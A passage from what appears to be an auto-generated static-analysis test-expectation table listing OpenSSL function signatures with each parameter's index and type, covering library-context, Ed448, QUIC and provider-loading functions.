(OSSL_LIB_CTX *,const char *) | | ossl_cmp_mock_srv_new | 1 | const char * | +| (OSSL_LIB_CTX *,const char *) | | ossl_cms_Data_create | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *) | | ossl_cms_Data_create | 1 | const char * | +| (OSSL_LIB_CTX *,const char *) | | ossl_parse_property | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *) | | ossl_parse_property | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,ENGINE *) | | ossl_ec_key_new_method_int | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,ENGINE *) | | ossl_ec_key_new_method_int | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,ENGINE *) | | ossl_ec_key_new_method_int | 2 | ENGINE * | +| (OSSL_LIB_CTX *,const char *,OSSL_PARAM *) | | OSSL_PROVIDER_load_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,OSSL_PARAM *) | | OSSL_PROVIDER_load_ex | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,OSSL_PARAM *) | | OSSL_PROVIDER_load_ex | 2 | OSSL_PARAM * | +| (OSSL_LIB_CTX *,const char *,OSSL_PARAM *,int) | | OSSL_PROVIDER_try_load_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,OSSL_PARAM *,int) | | OSSL_PROVIDER_try_load_ex | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,OSSL_PARAM *,int) | | OSSL_PROVIDER_try_load_ex | 2 | OSSL_PARAM * | +| (OSSL_LIB_CTX *,const char *,OSSL_PARAM *,int) | | OSSL_PROVIDER_try_load_ex | 3 | int | +| (OSSL_LIB_CTX *,const char *,OSSL_PROPERTY_LIST **) | | ossl_prop_defn_set | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,OSSL_PROPERTY_LIST **) | | ossl_prop_defn_set | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,OSSL_PROPERTY_LIST **) | | ossl_prop_defn_set | 2 | OSSL_PROPERTY_LIST ** | +| (OSSL_LIB_CTX *,const char *,OSSL_provider_init_fn *,OSSL_PARAM *,int) | | ossl_provider_new | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,OSSL_provider_init_fn *,OSSL_PARAM *,int) | | ossl_provider_new | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,OSSL_provider_init_fn *,OSSL_PARAM *,int) | | ossl_provider_new | 2 | OSSL_provider_init_fn * | +| (OSSL_LIB_CTX *,const char *,OSSL_provider_init_fn *,OSSL_PARAM *,int) | | ossl_provider_new | 3 | OSSL_PARAM * | +| (OSSL_LIB_CTX *,const char *,OSSL_provider_init_fn *,OSSL_PARAM *,int) | | ossl_provider_new | 4 | int | +| (OSSL_LIB_CTX *,const char *,const EC_METHOD *) | | ossl_ec_group_new_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,const EC_METHOD *) | | ossl_ec_group_new_ex | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,const EC_METHOD *) | | ossl_ec_group_new_ex | 2 | const EC_METHOD * | +| (OSSL_LIB_CTX *,const char *,const QUIC_PKT_HDR *,const QUIC_CONN_ID *) | | ossl_quic_validate_retry_integrity_tag | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,const QUIC_PKT_HDR *,const QUIC_CONN_ID *) | | ossl_quic_validate_retry_integrity_tag | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,const QUIC_PKT_HDR *,const QUIC_CONN_ID *) | | ossl_quic_validate_retry_integrity_tag | 2 | const QUIC_PKT_HDR * | +| (OSSL_LIB_CTX *,const char *,const QUIC_PKT_HDR *,const QUIC_CONN_ID *) | | ossl_quic_validate_retry_integrity_tag | 3 | const QUIC_CONN_ID * | +| (OSSL_LIB_CTX *,const char *,const QUIC_PKT_HDR *,const QUIC_CONN_ID *,unsigned char *) | | ossl_quic_calculate_retry_integrity_tag | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,const QUIC_PKT_HDR *,const QUIC_CONN_ID *,unsigned char *) | | ossl_quic_calculate_retry_integrity_tag | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,const QUIC_PKT_HDR *,const QUIC_CONN_ID *,unsigned char *) | | ossl_quic_calculate_retry_integrity_tag | 2 | const QUIC_PKT_HDR * | +| (OSSL_LIB_CTX *,const char *,const QUIC_PKT_HDR *,const QUIC_CONN_ID *,unsigned char *) | | ossl_quic_calculate_retry_integrity_tag | 3 | const QUIC_CONN_ID * | +| (OSSL_LIB_CTX *,const char *,const QUIC_PKT_HDR *,const QUIC_CONN_ID *,unsigned char *) | | ossl_quic_calculate_retry_integrity_tag | 4 | unsigned char * | +| (OSSL_LIB_CTX *,const char *,const SSL_METHOD *) | | SSL_CTX_new_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,const SSL_METHOD *) | | SSL_CTX_new_ex | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,const SSL_METHOD *) | | SSL_CTX_new_ex | 2 | const SSL_METHOD * | +| (OSSL_LIB_CTX *,const char *,const char *) | | EVP_PKEY_CTX_new_from_name | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,const char *) | | EVP_PKEY_CTX_new_from_name | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,const char *) | | EVP_PKEY_CTX_new_from_name | 2 | const char * | +| (OSSL_LIB_CTX *,const char *,const char *) | | ossl_slh_dsa_key_new | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,const char *) | | ossl_slh_dsa_key_new | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,const char *) | | ossl_slh_dsa_key_new | 2 | const char * | +| (OSSL_LIB_CTX *,const char *,const char *,const char *,const OSSL_PARAM *,const void *,size_t,const unsigned char *,size_t,unsigned char *,size_t,size_t *) | | EVP_Q_mac | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,const char *,const char *,const OSSL_PARAM *,const void *,size_t,const unsigned char *,size_t,unsigned char *,size_t,size_t *) | | EVP_Q_mac | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,const char *,const char *,const OSSL_PARAM *,const void *,size_t,const unsigned char *,size_t,unsigned char *,size_t,size_t *) | | EVP_Q_mac | 2 | const char * | +| (OSSL_LIB_CTX *,const char *,const char *,const char *,const OSSL_PARAM *,const void *,size_t,const unsigned char *,size_t,unsigned char *,size_t,size_t *) | | EVP_Q_mac | 3 | const char * | +| (OSSL_LIB_CTX *,const char *,const char *,const char *,const OSSL_PARAM *,const void *,size_t,const unsigned char *,size_t,unsigned char *,size_t,size_t *) | | EVP_Q_mac | 4 | const OSSL_PARAM * | +| (OSSL_LIB_CTX *,const char *,const char *,const char *,const OSSL_PARAM *,const void *,size_t,const unsigned char *,size_t,unsigned char *,size_t,size_t *) | | EVP_Q_mac | 5 | const void * | +| (OSSL_LIB_CTX *,const char *,const char *,const char *,const OSSL_PARAM *,const void *,size_t,const unsigned char *,size_t,unsigned char *,size_t,size_t *) | | EVP_Q_mac | 6 | size_t | +| (OSSL_LIB_CTX *,const char *,const char *,const char *,const OSSL_PARAM *,const void *,size_t,const unsigned char *,size_t,unsigned char *,size_t,size_t *) | | EVP_Q_mac | 7 | const unsigned char * | +| (OSSL_LIB_CTX *,const char *,const char *,const char *,const OSSL_PARAM *,const void *,size_t,const unsigned char *,size_t,unsigned char *,size_t,size_t *) | | EVP_Q_mac | 8 | size_t | +| (OSSL_LIB_CTX *,const char *,const char *,const char *,const OSSL_PARAM *,const void *,size_t,const unsigned char *,size_t,unsigned char *,size_t,size_t *) | | EVP_Q_mac | 9 | unsigned char * | +| (OSSL_LIB_CTX *,const char *,const char *,const char *,const OSSL_PARAM *,const void *,size_t,const unsigned char *,size_t,unsigned char *,size_t,size_t *) | | EVP_Q_mac | 10 | size_t | +| (OSSL_LIB_CTX *,const char *,const char *,const char *,const OSSL_PARAM *,const void *,size_t,const unsigned char *,size_t,unsigned char *,size_t,size_t *) | | EVP_Q_mac | 11 | size_t * | +| (OSSL_LIB_CTX *,const char *,int) | | EC_GROUP_new_by_curve_name_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,int) | | EC_GROUP_new_by_curve_name_ex | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,int) | | EC_GROUP_new_by_curve_name_ex | 2 | int | +| (OSSL_LIB_CTX *,const char *,int) | | EC_KEY_new_by_curve_name_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,int) | | EC_KEY_new_by_curve_name_ex | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,int) | | EC_KEY_new_by_curve_name_ex | 2 | int | +| (OSSL_LIB_CTX *,const char *,int) | | OSSL_PROVIDER_try_load | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,int) | | OSSL_PROVIDER_try_load | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,int) | | OSSL_PROVIDER_try_load | 2 | int | +| (OSSL_LIB_CTX *,const char *,int) | | ossl_ml_dsa_key_new | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,int) | | ossl_ml_dsa_key_new | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,int) | | ossl_ml_dsa_key_new | 2 | int | +| (OSSL_LIB_CTX *,const char *,int) | | ossl_ml_kem_key_new | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,int) | | ossl_ml_kem_key_new | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,int) | | ossl_ml_kem_key_new | 2 | int | +| (OSSL_LIB_CTX *,const char *,int) | | ossl_parse_query | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,int) | | ossl_parse_query | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,int) | | ossl_parse_query | 2 | int | +| (OSSL_LIB_CTX *,const char *,int) | | ossl_property_name | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,int) | | ossl_property_name | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,int) | | ossl_property_name | 2 | int | +| (OSSL_LIB_CTX *,const char *,int) | | ossl_property_value | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,int) | | ossl_property_value | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,int) | | ossl_property_value | 2 | int | +| (OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **) | | tls_int_new_record_layer | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **) | | tls_int_new_record_layer | 1 | const char * | +| (OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **) | | tls_int_new_record_layer | 2 | int | +| (OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **) | | tls_int_new_record_layer | 3 | int | +| (OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **) | | tls_int_new_record_layer | 4 | int | +| (OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **) | | tls_int_new_record_layer | 5 | int | +| (OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **) | | tls_int_new_record_layer | 6 | const EVP_CIPHER * | +| (OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **) | | tls_int_new_record_layer | 7 | size_t | +| (OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **) | | tls_int_new_record_layer | 8 | const EVP_MD * | +| (OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **) | | tls_int_new_record_layer | 9 | COMP_METHOD * | +| (OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **) | | tls_int_new_record_layer | 10 | BIO * | +| (OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **) | | tls_int_new_record_layer | 11 | BIO * | +| (OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **) | | tls_int_new_record_layer | 12 | BIO * | +| (OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **) | | tls_int_new_record_layer | 13 | const OSSL_PARAM * | +| (OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **) | | tls_int_new_record_layer | 14 | const OSSL_PARAM * | +| (OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **) | | tls_int_new_record_layer | 15 | const OSSL_DISPATCH * | +| (OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **) | | tls_int_new_record_layer | 16 | void * | +| (OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **) | | tls_int_new_record_layer | 17 | OSSL_RECORD_LAYER ** | +| (OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,uint8_t,const char *) | | ossl_c448_ed448_verify | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,uint8_t,const char *) | | ossl_c448_ed448_verify | 1 | const uint8_t[114] | +| (OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,uint8_t,const char *) | | ossl_c448_ed448_verify | 2 | const uint8_t[57] | +| (OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,uint8_t,const char *) | | ossl_c448_ed448_verify | 3 | const uint8_t * | +| (OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,uint8_t,const char *) | | ossl_c448_ed448_verify | 4 | size_t | +| (OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,uint8_t,const char *) | | ossl_c448_ed448_verify | 5 | uint8_t | +| (OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,uint8_t,const char *) | | ossl_c448_ed448_verify | 6 | const uint8_t * | +| (OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,uint8_t,const char *) | | ossl_c448_ed448_verify | 7 | uint8_t | +| (OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,uint8_t,const char *) | | ossl_c448_ed448_verify | 8 | const char * | +| (OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t[64],const uint8_t *,uint8_t,const char *) | | ossl_c448_ed448_verify_prehash | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t[64],const uint8_t *,uint8_t,const char *) | | ossl_c448_ed448_verify_prehash | 1 | const uint8_t[114] | +| (OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t[64],const uint8_t *,uint8_t,const char *) | | ossl_c448_ed448_verify_prehash | 2 | const uint8_t[57] | +| (OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t[64],const uint8_t *,uint8_t,const char *) | | ossl_c448_ed448_verify_prehash | 3 | const uint8_t[64] | +| (OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t[64],const uint8_t *,uint8_t,const char *) | | ossl_c448_ed448_verify_prehash | 4 | const uint8_t * | +| (OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t[64],const uint8_t *,uint8_t,const char *) | | ossl_c448_ed448_verify_prehash | 5 | uint8_t | +| (OSSL_LIB_CTX *,const uint8_t[114],const uint8_t[57],const uint8_t[64],const uint8_t *,uint8_t,const char *) | | ossl_c448_ed448_verify_prehash | 6 | const char * | +| (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_get_data | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_get_data | 1 | int | +| (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_set_conf_diagnostics | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_set_conf_diagnostics | 1 | int | +| (OSSL_LIB_CTX *,int) | | ossl_ctx_global_properties | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,int) | | ossl_ctx_global_properties | 1 | int | +| (OSSL_LIB_CTX *,int) | | ossl_dh_new_by_nid_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,int) | | ossl_dh_new_by_nid_ex | 1 | int | +| (OSSL_LIB_CTX *,int) | | ossl_lib_ctx_get_data | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,int) | | ossl_lib_ctx_get_data | 1 | int | +| (OSSL_LIB_CTX *,int) | | ossl_mac_key_new | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,int) | | ossl_mac_key_new | 1 | int | +| (OSSL_LIB_CTX *,int,OSSL_PROVIDER **,int,OSSL_METHOD_CONSTRUCT_METHOD *,void *) | | ossl_method_construct | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,int,OSSL_PROVIDER **,int,OSSL_METHOD_CONSTRUCT_METHOD *,void *) | | ossl_method_construct | 1 | int | +| (OSSL_LIB_CTX *,int,OSSL_PROVIDER **,int,OSSL_METHOD_CONSTRUCT_METHOD *,void *) | | ossl_method_construct | 2 | OSSL_PROVIDER ** | +| (OSSL_LIB_CTX *,int,OSSL_PROVIDER **,int,OSSL_METHOD_CONSTRUCT_METHOD *,void *) | | ossl_method_construct | 3 | int | +| (OSSL_LIB_CTX *,int,OSSL_PROVIDER **,int,OSSL_METHOD_CONSTRUCT_METHOD *,void *) | | ossl_method_construct | 4 | OSSL_METHOD_CONSTRUCT_METHOD * | +| (OSSL_LIB_CTX *,int,OSSL_PROVIDER **,int,OSSL_METHOD_CONSTRUCT_METHOD *,void *) | | ossl_method_construct | 5 | void * | +| (OSSL_LIB_CTX *,int,long,void *,CRYPTO_EX_new *,CRYPTO_EX_dup *,CRYPTO_EX_free *,int) | | ossl_crypto_get_ex_new_index_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,int,long,void *,CRYPTO_EX_new *,CRYPTO_EX_dup *,CRYPTO_EX_free *,int) | | ossl_crypto_get_ex_new_index_ex | 1 | int | +| (OSSL_LIB_CTX *,int,long,void *,CRYPTO_EX_new *,CRYPTO_EX_dup *,CRYPTO_EX_free *,int) | | ossl_crypto_get_ex_new_index_ex | 2 | long | +| (OSSL_LIB_CTX *,int,long,void *,CRYPTO_EX_new *,CRYPTO_EX_dup *,CRYPTO_EX_free *,int) | | ossl_crypto_get_ex_new_index_ex | 3 | void * | +| (OSSL_LIB_CTX *,int,long,void *,CRYPTO_EX_new *,CRYPTO_EX_dup *,CRYPTO_EX_free *,int) | | ossl_crypto_get_ex_new_index_ex | 4 | CRYPTO_EX_new * | +| (OSSL_LIB_CTX *,int,long,void *,CRYPTO_EX_new *,CRYPTO_EX_dup *,CRYPTO_EX_free *,int) | | ossl_crypto_get_ex_new_index_ex | 5 | CRYPTO_EX_dup * | +| (OSSL_LIB_CTX *,int,long,void *,CRYPTO_EX_new *,CRYPTO_EX_dup *,CRYPTO_EX_free *,int) | | ossl_crypto_get_ex_new_index_ex | 6 | CRYPTO_EX_free * | +| (OSSL_LIB_CTX *,int,long,void *,CRYPTO_EX_new *,CRYPTO_EX_dup *,CRYPTO_EX_free *,int) | | ossl_crypto_get_ex_new_index_ex | 7 | int | +| (OSSL_LIB_CTX *,int,void *,CRYPTO_EX_DATA *) | | ossl_crypto_new_ex_data_ex | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,int,void *,CRYPTO_EX_DATA *) | | ossl_crypto_new_ex_data_ex | 1 | int | +| (OSSL_LIB_CTX *,int,void *,CRYPTO_EX_DATA *) | | ossl_crypto_new_ex_data_ex | 2 | void * | +| (OSSL_LIB_CTX *,int,void *,CRYPTO_EX_DATA *) | | ossl_crypto_new_ex_data_ex | 3 | CRYPTO_EX_DATA * | +| (OSSL_LIB_CTX *,size_t) | | ossl_quic_lcidm_new | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,size_t) | | ossl_quic_lcidm_new | 1 | size_t | +| (OSSL_LIB_CTX *,size_t,QUIC_CONN_ID *) | | ossl_quic_gen_rand_conn_id | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,size_t,QUIC_CONN_ID *) | | ossl_quic_gen_rand_conn_id | 1 | size_t | +| (OSSL_LIB_CTX *,size_t,QUIC_CONN_ID *) | | ossl_quic_gen_rand_conn_id | 2 | QUIC_CONN_ID * | +| (OSSL_LIB_CTX *,size_t,int,size_t,int) | | OSSL_CRMF_pbmp_new | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,size_t,int,size_t,int) | | OSSL_CRMF_pbmp_new | 1 | size_t | +| (OSSL_LIB_CTX *,size_t,int,size_t,int) | | OSSL_CRMF_pbmp_new | 2 | int | +| (OSSL_LIB_CTX *,size_t,int,size_t,int) | | OSSL_CRMF_pbmp_new | 3 | size_t | +| (OSSL_LIB_CTX *,size_t,int,size_t,int) | | OSSL_CRMF_pbmp_new | 4 | int | +| (OSSL_LIB_CTX *,uint8_t *,const uint8_t *,size_t,const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,const uint8_t,const char *) | | ossl_ed448_sign | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,uint8_t *,const uint8_t *,size_t,const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,const uint8_t,const char *) | | ossl_ed448_sign | 1 | uint8_t * | +| (OSSL_LIB_CTX *,uint8_t *,const uint8_t *,size_t,const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,const uint8_t,const char *) | | ossl_ed448_sign | 2 | const uint8_t * | +| (OSSL_LIB_CTX *,uint8_t *,const uint8_t *,size_t,const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,const uint8_t,const char *) | | ossl_ed448_sign | 3 | size_t | +| (OSSL_LIB_CTX *,uint8_t *,const uint8_t *,size_t,const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,const uint8_t,const char *) | | ossl_ed448_sign | 4 | const uint8_t[57] | +| (OSSL_LIB_CTX *,uint8_t *,const uint8_t *,size_t,const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,const uint8_t,const char *) | | ossl_ed448_sign | 5 | const uint8_t[57] | +| (OSSL_LIB_CTX *,uint8_t *,const uint8_t *,size_t,const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,const uint8_t,const char *) | | ossl_ed448_sign | 6 | const uint8_t * | +| (OSSL_LIB_CTX *,uint8_t *,const uint8_t *,size_t,const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,const uint8_t,const char *) | | ossl_ed448_sign | 7 | size_t | +| (OSSL_LIB_CTX *,uint8_t *,const uint8_t *,size_t,const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,const uint8_t,const char *) | | ossl_ed448_sign | 8 | const uint8_t | +| (OSSL_LIB_CTX *,uint8_t *,const uint8_t *,size_t,const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,const uint8_t,const char *) | | ossl_ed448_sign | 9 | const char * | +| (OSSL_LIB_CTX *,uint8_t[32],const uint8_t[32],const char *) | | ossl_ed25519_public_from_private | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,uint8_t[32],const uint8_t[32],const char *) | | ossl_ed25519_public_from_private | 1 | uint8_t[32] | +| (OSSL_LIB_CTX *,uint8_t[32],const uint8_t[32],const char *) | | ossl_ed25519_public_from_private | 2 | const uint8_t[32] | +| (OSSL_LIB_CTX *,uint8_t[32],const uint8_t[32],const char *) | | ossl_ed25519_public_from_private | 3 | const char * | +| (OSSL_LIB_CTX *,uint8_t[57],const uint8_t[57],const char *) | | ossl_c448_ed448_derive_public_key | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,uint8_t[57],const uint8_t[57],const char *) | | ossl_c448_ed448_derive_public_key | 1 | uint8_t[57] | +| (OSSL_LIB_CTX *,uint8_t[57],const uint8_t[57],const char *) | | ossl_c448_ed448_derive_public_key | 2 | const uint8_t[57] | +| (OSSL_LIB_CTX *,uint8_t[57],const uint8_t[57],const char *) | | ossl_c448_ed448_derive_public_key | 3 | const char * | +| (OSSL_LIB_CTX *,uint8_t[57],const uint8_t[57],const char *) | | ossl_ed448_public_from_private | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,uint8_t[57],const uint8_t[57],const char *) | | ossl_ed448_public_from_private | 1 | uint8_t[57] | +| (OSSL_LIB_CTX *,uint8_t[57],const uint8_t[57],const char *) | | ossl_ed448_public_from_private | 2 | const uint8_t[57] | +| (OSSL_LIB_CTX *,uint8_t[57],const uint8_t[57],const char *) | | ossl_ed448_public_from_private | 3 | const char * | +| (OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,size_t,const char *) | | ossl_c448_ed448_sign | 0 | OSSL_LIB_CTX * | +| (OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,size_t,const char *) | | ossl_c448_ed448_sign | 1 | uint8_t[114] | +| (OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,size_t,const char *) | | ossl_c448_ed448_sign | 2 | const uint8_t[57] | +| (OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,size_t,const char *) | | ossl_c448_ed448_sign | 3 | const uint8_t[57] | +| (OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t *,size_t,uint8_t,const uint8_t *,size_t,const char *) | | ossl_c448_ed448_sign | 4 | const uint8_t * | +| (OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const uint8_t[57],const uint8_t 